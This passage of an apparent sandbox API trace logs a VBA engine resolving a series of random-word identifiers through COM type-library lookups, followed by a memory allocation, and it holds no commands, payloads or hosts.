szName="_B_var_battering") returned 0x30e29e [0018.206] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.206] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.207] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="malacosoma") returned 0x10472c [0018.207] strcpy_s (in: _Dst=0x2637a0, _DstSize=0xb, _Src="malacosoma" | out: _Dst="malacosoma") returned 0x0 [0018.207] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=11, lpWideCharStr=0x263600, cchWideChar=11 | out: lpWideCharStr="malacosoma") returned 11 [0018.207] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.207] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="malacosoma", lHashVal=0x10472c, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.207] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.207] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.207] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="malacosoma", lHashVal=0x10472c, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.207] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.207] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.207] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="malacosoma", lHashVal=0x10472c, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.207] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.207] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.207] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="malacosoma", lHashVal=0x10472c, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.207] IUnknown:Release (This=0x7479720) returned 0x5 [0018.207] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_malacosoma") returned 0x30b596 [0018.207] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.207] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.207] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="alabaman") returned 0x10fd0e [0018.207] strcpy_s (in: _Dst=0x2637a0, _DstSize=0x9, _Src="alabaman" | out: _Dst="alabaman") returned 0x0 [0018.207] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=9, lpWideCharStr=0x263600, cchWideChar=9 | out: lpWideCharStr="alabaman") returned 9 [0018.207] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.207] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="alabaman", lHashVal=0x10fd0e, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.207] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.207] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.207] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="alabaman", lHashVal=0x10fd0e, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.207] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.207] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.207] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="alabaman", lHashVal=0x10fd0e, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.207] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.207] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.207] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="alabaman", lHashVal=0x10fd0e, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.207] IUnknown:Release (This=0x7479720) returned 0x5 [0018.207] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_alabaman") returned 0x30d497 [0018.207] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.207] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.208] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="diamagnet") returned 0x10a3a9 [0018.208] strcpy_s (in: _Dst=0x2637a0, _DstSize=0xa, _Src="diamagnet" | out: _Dst="diamagnet") returned 0x0 [0018.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=10, lpWideCharStr=0x263600, cchWideChar=10 | out: lpWideCharStr="diamagnet") returned 10 [0018.208] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.208] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="diamagnet", lHashVal=0x10a3a9, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.208] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.208] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.208] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="diamagnet", lHashVal=0x10a3a9, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.208] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.208] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.208] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="diamagnet", lHashVal=0x10a3a9, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.208] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.208] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.208] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="diamagnet", lHashVal=0x10a3a9, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.208] IUnknown:Release (This=0x7479720) returned 0x5 [0018.208] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_diamagnet") returned 0x30acee [0018.208] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.208] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.208] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="fuzzy") returned 0x10ea85 [0018.208] strcpy_s (in: _Dst=0x2637a0, _DstSize=0x6, _Src="fuzzy" | out: _Dst="fuzzy") returned 0x0 [0018.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=6, lpWideCharStr=0x263600, cchWideChar=6 | out: lpWideCharStr="fuzzy") returned 6 [0018.208] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.208] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="fuzzy", lHashVal=0x10ea85, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.208] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.208] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.208] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="fuzzy", lHashVal=0x10ea85, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.208] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.208] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.208] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="fuzzy", lHashVal=0x10ea85, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.208] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.208] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.208] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="fuzzy", lHashVal=0x10ea85, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.209] IUnknown:Release (This=0x7479720) returned 0x5 [0018.209] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_fuzzy") returned 0x30ae76 [0018.209] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.209] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.209] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="sapropel") returned 0x1096a8 [0018.209] strcpy_s (in: _Dst=0x2637a0, _DstSize=0x9, _Src="sapropel" | out: _Dst="sapropel") returned 0x0 [0018.209] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=9, lpWideCharStr=0x263600, cchWideChar=9 | out: lpWideCharStr="sapropel") returned 9 [0018.209] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.209] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="sapropel", lHashVal=0x1096a8, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.209] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.209] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.209] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="sapropel", lHashVal=0x1096a8, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.209] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.209] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.209] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="sapropel", lHashVal=0x1096a8, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.209] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.209] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.209] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="sapropel", lHashVal=0x1096a8, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.209] IUnknown:Release (This=0x7479720) returned 0x5 [0018.209] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_sapropel") returned 0x306e31 [0018.209] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.209] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.209] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="candida") returned 0x10f7f4 [0018.209] strcpy_s (in: _Dst=0x2637a0, _DstSize=0x8, _Src="candida" | out: _Dst="candida") returned 0x0 [0018.209] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=8, lpWideCharStr=0x263600, cchWideChar=8 | out: lpWideCharStr="candida") returned 8 [0018.209] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.209] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="candida", lHashVal=0x10f7f4, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.209] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.209] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.209] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="candida", lHashVal=0x10f7f4, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.209] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.210] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.210] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="candida", lHashVal=0x10f7f4, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.210] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.210] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.210] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="candida", lHashVal=0x10f7f4, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.210] IUnknown:Release (This=0x7479720) returned 0x5 [0018.210] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_candida") returned 0x30ebf7 [0018.210] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.210] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.210] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="saver") returned 0x10c972 [0018.210] strcpy_s (in: _Dst=0x2637a0, _DstSize=0x6, _Src="saver" | out: _Dst="saver") returned 0x0 [0018.210] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=6, lpWideCharStr=0x263600, cchWideChar=6 | out: lpWideCharStr="saver") returned 6 [0018.210] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.210] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="saver", lHashVal=0x10c972, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.210] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.210] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.210] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="saver", lHashVal=0x10c972, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.210] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.210] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.210] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="saver", lHashVal=0x10c972, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.210] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.210] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.210] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="saver", lHashVal=0x10c972, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.210] IUnknown:Release (This=0x7479720) returned 0x5 [0018.210] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_saver") returned 0x308d5f [0018.210] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.210] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.210] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="amianth") returned 0x107b13 [0018.210] strcpy_s (in: _Dst=0x2637a0, _DstSize=0x8, _Src="amianth" | out: _Dst="amianth") returned 0x0 [0018.211] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=8, lpWideCharStr=0x263600, cchWideChar=8 | out: lpWideCharStr="amianth") returned 8 [0018.211] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.211] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="amianth", lHashVal=0x107b13, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.211] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.211] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.211] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="amianth", lHashVal=0x107b13, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.211] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.211] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.211] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="amianth", lHashVal=0x107b13, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.211] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.211] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.211] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="amianth", lHashVal=0x107b13, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.211] IUnknown:Release (This=0x7479720) returned 0x5 [0018.211] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_amianth") returned 0x306f16 [0018.211] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.211] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.211] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="airsick") returned 0x100a5e [0018.211] strcpy_s (in: _Dst=0x2637a0, _DstSize=0x8, _Src="airsick" | out: _Dst="airsick") returned 0x0 [0018.211] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=8, lpWideCharStr=0x263600, cchWideChar=8 | out: lpWideCharStr="airsick") returned 8 [0018.211] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.211] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="airsick", lHashVal=0x100a5e, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.211] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.211] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.211] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="airsick", lHashVal=0x100a5e, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.211] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.211] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.211] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="airsick", lHashVal=0x100a5e, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.211] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.211] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.211] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="airsick", lHashVal=0x100a5e, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.211] IUnknown:Release (This=0x7479720) returned 0x5 [0018.211] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_airsick") returned 0x30fea0 [0018.211] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.211] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.212] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="lwei") returned 0x10d69e [0018.212] strcpy_s (in: _Dst=0x2637a0, _DstSize=0x5, _Src="lwei" | out: _Dst="lwei") returned 0x0 [0018.212] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=5, lpWideCharStr=0x263600, cchWideChar=5 | out: lpWideCharStr="lwei") returned 5 [0018.212] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.212] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="lwei", lHashVal=0x10d69e, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.212] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.212] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.212] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="lwei", lHashVal=0x10d69e, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.212] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.212] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.212] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="lwei", lHashVal=0x10d69e, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.212] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.212] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.212] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="lwei", lHashVal=0x10d69e, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.212] IUnknown:Release (This=0x7479720) returned 0x5 [0018.212] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_lwei") returned 0x304124 [0018.212] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.212] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.212] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_StrConv") returned 0x301b7b [0018.212] ITypeInfo:GetRefTypeInfo (in: This=0x748cc30, hreftype=0x200, ppTInfo=0x263650 | out: ppTInfo=0x263650*=0x748c868) returned 0x0 [0018.212] IUnknown:QueryInterface (in: This=0x748c868, riid=0x7fef41cf098*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2636c8 | out: ppvObject=0x2636c8*=0x0) returned 0x80004002 [0018.212] ITypeInfo:RemoteGetTypeAttr (in: This=0x748c868, ppTypeAttr=0x2636d0, pDummy=0x10 | out: ppTypeAttr=0x2636d0, pDummy=0x10) returned 0x0 [0018.212] ITypeInfo:LocalReleaseTypeAttr (This=0x748c868) returned 0x0 [0018.212] IUnknown:QueryInterface (in: This=0x748c868, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263590 | out: ppvObject=0x263590*=0x0) returned 0x80004002 [0018.212] IUnknown:QueryInterface (in: This=0x748c868, riid=0x7fef41cf088*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263500 | out: ppvObject=0x263500*=0x0) returned 0x80004002 [0018.212] IUnknown:QueryInterface (in: This=0x748c868, riid=0x7fef41cf098*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263580 | out: ppvObject=0x263580*=0x0) returned 0x80004002 [0018.212] ITypeInfo:RemoteGetTypeAttr (in: This=0x748c868, ppTypeAttr=0x263508, pDummy=0x10 | out: ppTypeAttr=0x263508, pDummy=0x10) returned 0x0 [0018.212] ITypeInfo:LocalReleaseTypeAttr (This=0x748c868) returned 0x0 [0018.212] IUnknown:AddRef (This=0x748c868) returned 0x2 [0018.212] IUnknown:QueryInterface (in: This=0x748c868, riid=0x7fef41cf088*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2635a0 | out: ppvObject=0x2635a0*=0x0) returned 0x80004002 [0018.213] IUnknown:QueryInterface (in: This=0x748c868, riid=0x7fef41cf098*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2635d8 | out: ppvObject=0x2635d8*=0x0) returned 0x80004002 [0018.213] IUnknown:Release (This=0x748c868) returned 0x1 [0018.213] IUnknown:QueryInterface (in: This=0x748cc30, riid=0x7fef41be0b0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x263608 | out: ppvObject=0x263608*=0x748cc30) returned 0x0 [0018.213] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x748cc30, memid=1610612761, invkind=1, pFuncIndex=0x263600 | out: pFuncIndex=0x263600*=0x19) returned 0x0 [0018.213] ITypeInfo2:GetParamCustData (in: This=0x748cc30, indexFunc=0x19, indexParam=0x2, GUID=0x7fef41d5410*(Data1=0x270d72b0, Data2=0xffb8, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xbd, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x26, [7]=0xee)), pVarVal=0x2635c0 | out: pVarVal=0x2635c0*(varType=0x0, wReserved1=0x75b, wReserved2=0x0, wReserved3=0x0, varVal1=0x75b8638, varVal2=0xffffffff)) returned 0x0 [0018.213] IUnknown:Release (This=0x748cc30) returned 0x3 [0018.213] IUnknown:QueryInterface (in: This=0x748c868, riid=0x7fef41cf088*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2635e8 | out: ppvObject=0x2635e8*=0x0) returned 0x80004002 [0018.213] IUnknown:QueryInterface (in: This=0x748cc30, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263938 | out: ppvObject=0x263938*=0x0) returned 0x80004002 [0018.213] IUnknown:QueryInterface (in: This=0x748cc30, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2639b0 | out: ppvObject=0x2639b0*=0x0) returned 0x80004002 [0018.213] IUnknown:QueryInterface (in: This=0x748cc30, riid=0x7fef41cf088*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263920 | out: ppvObject=0x263920*=0x0) returned 0x80004002 [0018.213] IUnknown:QueryInterface (in: This=0x748cc30, riid=0x7fef41cf098*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2639a0 | out: ppvObject=0x2639a0*=0x0) returned 0x80004002 [0018.213] ITypeInfo:RemoteGetTypeAttr (in: This=0x748cc30, ppTypeAttr=0x263928, pDummy=0x10 | out: ppTypeAttr=0x263928, pDummy=0x10) returned 0x0 [0018.213] ITypeInfo:LocalReleaseTypeAttr (This=0x748cc30) returned 0x0 [0018.213] IUnknown:AddRef (This=0x748cc30) returned 0x5 [0018.214] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xbf20000 [0018.214] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="affectioned") returned 0x10ae96 [0018.214] strcpy_s (in: _Dst=0x2637a0, _DstSize=0xc, _Src="affectioned" | out: _Dst="affectioned") returned 0x0 [0018.214] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=12, lpWideCharStr=0x263600, cchWideChar=12 | out: lpWideCharStr="affectioned") returned 12 [0018.214] IUnknown:AddRef (This=0x72d9b00) returned 0x10 [0018.214] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="affectioned", lHashVal=0x10ae96, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.214] IUnknown:Release (This=0x72d9b00) returned 0xf [0018.214] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.215] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="affectioned", lHashVal=0x10ae96, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.215] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.215] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.215] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="affectioned", lHashVal=0x10ae96, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.215] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.215] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.215] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="affectioned", lHashVal=0x10ae96, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.215] IUnknown:Release (This=0x7479720) returned 0x5 [0018.215] 